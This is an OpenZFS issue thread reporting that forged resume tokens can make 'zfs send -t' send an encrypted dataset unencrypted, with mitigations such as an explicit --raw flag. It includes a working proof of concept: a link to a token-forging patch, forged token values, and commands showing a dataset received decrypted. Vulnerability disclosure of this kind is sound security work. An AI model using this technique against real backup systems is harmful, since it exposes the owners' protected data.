Security: Resume tokens can send anything.

[maxximino]

System information (not really relevant)

Type	Version/Name
Distribution Name	debian
Distribution Version	sid
Kernel Version	6.0.0
Architecture	amd64
OpenZFS Version	2.1.6

Describe the problem you're observing

A remote system generating a resume token might produce a malicious token to obtain the full unencrypted content of a dataset.

Usage of raw send with native encryption is useful in situations where the remote destination of the backup is not trusted.
In case the remote destination is actively malicious, using resume tokens, it can mislead the source of data to send it unencrypted (or even to send different datasets).

Describe how to reproduce the problem

Trying to reproduce the bug

1. Send a snapshot using resumable send/receive. Interrupt it before it finishes.
2. Analyze the resume token with zstream token patched with https://pastebin.com/pJGJ2BWA
3. Use the new token returned by "zstream token" with zfs send -t - it will produce a new complete unencrypted stream of the same dataset. It cannot be used to continue receiving, but sending it to the destination means sending the data unencrypted.

In a real-world scenario

1. machineA contains valuable data. Uses native encryption. It regularly sends raw(=encrypted) snapshots to an untrusted location, machineB, via some script which supports resumable send-receive.
2. machineB gets compromised/administrator goes rogue. machineB zfs userspace utilities are replaced with a version which, for a specific target filesystem:
   2.1) returns malicious receive tokens as described above
   2.2) redirects unencrypted streams to a different location (so it doesn't error out trying to continue a raw-send with non-raw data).
   2.3) purposely terminates the receive shortly after starting if it's encrypted.
3. next automated backup of machineA will fail (2.3), will get a malicious resume token (2.1), will retry and now send non-encrypted data, which will be received successfully (2.2).
4. data is exfiltrated unencrypted.

Include any warning/errors/backtraces from the system logs

N/A

Suggestion for fixing the issue

zfs send -t should also take the filesystem name (if not even the snapshot) and the option of raw/non-raw and it should be checked for consistency with the resume token. Alternatively, pass a --i-trust-the-token-origin flag .

Or at least mention the risk in the man pages.

[dejarikra]

I realize it's not really a complete fix for the described bug, but I thought t to link the send-raw permission PR here. It might prove to be a sufficient enough mitigation for some use-cases.

[decayingabstractions]

I tested with the patched version of zstream token (zstream_token.zfs2.1.5.patch) on OpenZFS 2.1.5 on Ubuntu 22.04 and found that explicitly providing the --raw option when resuming a send overrides the resume token and forces an encrypted stream to be generated.

It seems logical to expect the sender to be able to set the --raw option as appropriate when resuming a send given the following:

• The sender already knows the characteristics of the dataset on the send side, and it already knows the desired characteristics of that dataset on the receive side.

• The sender already knows what the appropriate zfs send arguments are (if it crafted the original failed send).

• The sender is the consumer of a (possibly untrusted) receive token.

Relying on encoded values within the resume token is convenient, but in this case overriding the value with an explicit option seems like a nice fail-safe even when you do trust the provider of the resume token. (Who's to say that they won't be compromised in the future?)

The zfs-send manpage seems to imply you cannot combine the --raw option with the -t option, but it is in fact allowed by the argument parser and does seem to function as intuition would expect. From my limited understanding of the zfs send code, it seems the --raw flag value is logically OR'ed with the flag value provided by the resume token's encoded nvlist: https://github.com/openzfs/zfs/blob/zfs-2.1.5/lib/libzfs/libzfs_sendrecv.c#L1669

If the zfs-send manpage is updated to mention the risk involved with untrusted resume tokens, it could also be updated to reflect that the --raw option is allowed when resuming a send and can be used to mitigate that risk. (I imagine other options may be allowed to override token contents when resuming a send, but I only tested the --raw option.)

# Create test environment 
cd /home/johndoe
mkdir resumetest
cd resumetest/

truncate --size=100M f1
truncate --size=100M f2
sudo zpool create resumetest mirror /home/johndoe/resumetest/f1 /home/johndoe/resumetest/f2

truncate --size=100M f3
truncate --size=100M f4
sudo zpool create resumetest2 mirror /home/johndoe/resumetest/f3 /home/johndoe/resumetest/f4

truncate --size=100M f5
truncate --size=100M f6
sudo zpool create resumetest3 mirror /home/johndoe/resumetest/f5 /home/johndoe/resumetest/f6

# Create encrypted dataset 
# (most options can probably be ignored, but I wanted to test with the 
# same options I used elsewhere)
sudo zfs create \
         -o recordsize=128k \
         -o acltype=posixacl \
         -o aclmode=passthrough \
         -o compression=lz4 \
         -o xattr=sa \
         -o dnodesize=auto \
         -o normalization=formD \
         -o atime=off \
         -o encryption=on \
         -o keylocation=prompt \
         -o keyformat=passphrase \
         resumetest/encr-child
         
sudo zfs snapshot resumetest/encr-child@fresh
sudo zfs send -v --raw resumetest/encr-child@fresh | sudo zfs receive -v -s resumetest2/encr-child

sudo truncate --size=80M /resumetest/encr-child/afile
sudo zfs snapshot resumetest/encr-child@with-a-file

# RESUMABLE raw, encrypted send of dataset
# Interrupt with ctrl-c after a bit to have resume token accessible
sudo zfs send -v --raw -i @fresh resumetest/encr-child@with-a-file | pv --rate-limit 100 | sudo zfs receive -v -s resumetest2/encr-child

$ # Get resume token and generate malicious resume token 
$ zfs get -H -o value receive_resume_token resumetest2/encr-child
1-fd3f3ea61-130-789c636064000310a501c49c50360710a715e5e7a69766a6304081e4c3753e7696b1cd0a40363b92bafca4acd4e412081f0430e4d3d28a534b18e00024cf86249f5459925acc802a8facbf241fe28aaa90ef315b8e16ea3920c97382e5f312735319188a528b4b7353816695e8a7e62517e9266764e6a43894679664e826eaa665e6a42299cfcd80f077727e6e01506f717e36444c02ea3e987c5162394c8a010013de2bc9
$
$ # Use the patched version of `zstream`
$ ./zstream token 1-fd3f3ea61-130-789c636064000310a501c49c50360710a715e5e7a69766a6304081e4c3753e7696b1cd0a40363b92bafca4acd4e412081f0430e4d3d28a534b18e00024cf86249f5459925acc802a8facbf241fe28aaa90ef315b8e16ea3920c97382e5f312735319188a528b4b7353816695e8a7e62517e9266764e6a43894679664e826eaa665e6a42299cfcd80f077727e6e01506f717e36444c02ea3e987c5162394c8a010013de2bc9
ORIGINAL TOKEN:
     fromguid: 9465784931539935513
     object: 1
     offset: 0
     bytes: 0
     toguid: 3346673376557487226
     toname: 'resumetest/encr-child@with-a-file'
     compressok
     rawok
For educational purposes only, let's generate a token which sends the same snapshot from the beginning and *not raw* (i.e. not encrypted):
     fromguid: 9465784931539935513
     toguid: 3346673376557487226
     toname: 'resumetest/encr-child@with-a-file'
     object: 0
     offset: 0
     bytes: 0
new token: 1-10048eaa7b-10c-789c6364648001104b058835809823ad283f37bd343305c406c935c75adaf9ac7b280955a300c46c25f9501550357a8547b7c47c0fa902b25d80d801a2262f313715ac86136a8762516a71696e6a496a71897e6a5e72916e7246664e8a43796649866ea26e5a660e4439c29efca4acd4e412843d0c0880509396569c8a5f0d6b5225d04e06ac6ac00000e6e52627
$
$ good_token='1-fd3f3ea61-130-789c636064000310a501c49c50360710a715e5e7a69766a6304081e4c3753e7696b1cd0a40363b92bafca4acd4e412081f0430e4d3d28a534b18e00024cf86249f5459925acc802a8facbf241fe28aaa90ef315b8e16ea3920c97382e5f312735319188a528b4b7353816695e8a7e62517e9266764e6a43894679664e826eaa665e6a42299cfcd80f077727e6e01506f717e36444c02ea3e987c5162394c8a010013de2bc9'
$ bad_token='1-10048eaa7b-10c-789c6364648001104b058835809823ad283f37bd343305c406c935c75adaf9ac7b280955a300c46c25f9501550357a8547b7c47c0fa902b25d80d801a2262f313715ac86136a8762516a71696e6a496a71897e6a5e72916e7246664e8a43796649866ea26e5a660e4439c29efca4acd4e412843d0c0880509396569c8a5f0d6b5225d04e06ac6ac00000e6e52627'
$
$ # Dump send stream using malicious resume token with/without `--raw` option
$ # Encryption paramters are only present in stream when an explicit 
$ # `--raw` option is provided.
$ sudo zfs send --raw -t "$bad_token" | zstream dump | grep crypt_keydata
        crypt_keydata = (embedded nvlist)
        (end crypt_keydata)
$ sudo zfs send       -t "$bad_token" | zstream dump | grep crypt_keydata
$

# Send/recv data in unencrypted form with malicious resume token.
#
# I'm being lazy here and just sending the incremental source snapshot 
# unencrypted.  An attacker wouldn't have the luxury of cooperation from  
# the sender and would have to do additional work to craft a dataset 
# that could receive the resumed decrypted incremental send. 
sudo zfs send -v resumetest/encr-child@fresh | sudo zfs receive -v resumetest3/decrypted-resumed-child
sudo zfs send -vvv -t "$bad_token" | sudo zfs receive -v -F resumetest3/decrypted-resumed-child

# Prevent decryption using explict `--raw` flag with same malicious resume token.
#
sudo zfs send -v --raw resumetest/encr-child@fresh | sudo zfs receive -v resumetest3/encr-child
sudo zfs send -vvv --raw -t "$bad_token" | sudo zfs receive -v -F resumetest3/encr-child

$ # Verify that data was decrypted by malicious resume token, but was 
$ # still properly encrypted with explicit `--raw` option
$ zfs list -r -o name,encryption,keystatus,mounted,mountpoint resumetest
NAME                   ENCRYPTION   KEYSTATUS    MOUNTED  MOUNTPOINT
resumetest             off          -            yes      /resumetest
resumetest/encr-child  aes-256-gcm  available    yes      /resumetest/encr-child
$
$ sudo zfs mount -l resumetest3/encr-child
Enter passphrase for 'resumetest3/encr-child':
$
$ zfs list -r -o name,encryption,keystatus,mounted,mountpoint resumetest3
NAME                                 ENCRYPTION   KEYSTATUS    MOUNTED  MOUNTPOINT
resumetest3                          off          -            yes      /resumetest3
resumetest3/decrypted-resumed-child  off          -            yes      /resumetest3/decrypted-resumed-child
resumetest3/encr-child               aes-256-gcm  available    yes      /resumetest3/encr-child
$
$ ls -al /resumetest/encr-child/
total 3
drwxr-xr-x 2 root root        3 May 22 05:42 .
drwxr-xr-x 5 root root        5 Jun  3 19:08 ..
-rw-r--r-- 1 root root 83886080 May 22 05:42 afile
$ ls -al /resumetest3/encr-child/
total 3
drwxr-xr-x 2 root root        3 May 22 05:42 .
drwxr-xr-x 4 root root        4 Jun  3 19:34 ..
-rw-r--r-- 1 root root 83886080 May 22 05:42 afile
$ ls -al /resumetest3/decrypted-resumed-child/
total 2
drwxr-xr-x 2 root root        3 May 22 05:42 .
drwxr-xr-x 4 root root        4 Jun  3 19:34 ..
-rw-r--r-- 1 root root 83886080 May 22 05:42 afile
$

[decayingabstractions]

Using an explicit --raw option to force an encrypted stream to be generated when using an untrusted resume token is helpful when you have a trusted user on the send-side host initiating the send (eg. a "push" replication scenario). When you have an untrusted user on the send-side host initiating the send (eg. a "pull" replication scenario) you would need to enforce the use of the --raw option somehow.

A ZFS administrative permission to allow a user to only send snapshots if they are in raw form (feature request and associated PR) could do this, as mentioned by dejarikra. That permission has not been fully implemented yet, but you can still create a wrapper script for zfs send that uses the --raw option when resuming and then make that script executable for (but not modifiable by) the initiating user via sudo or setuid.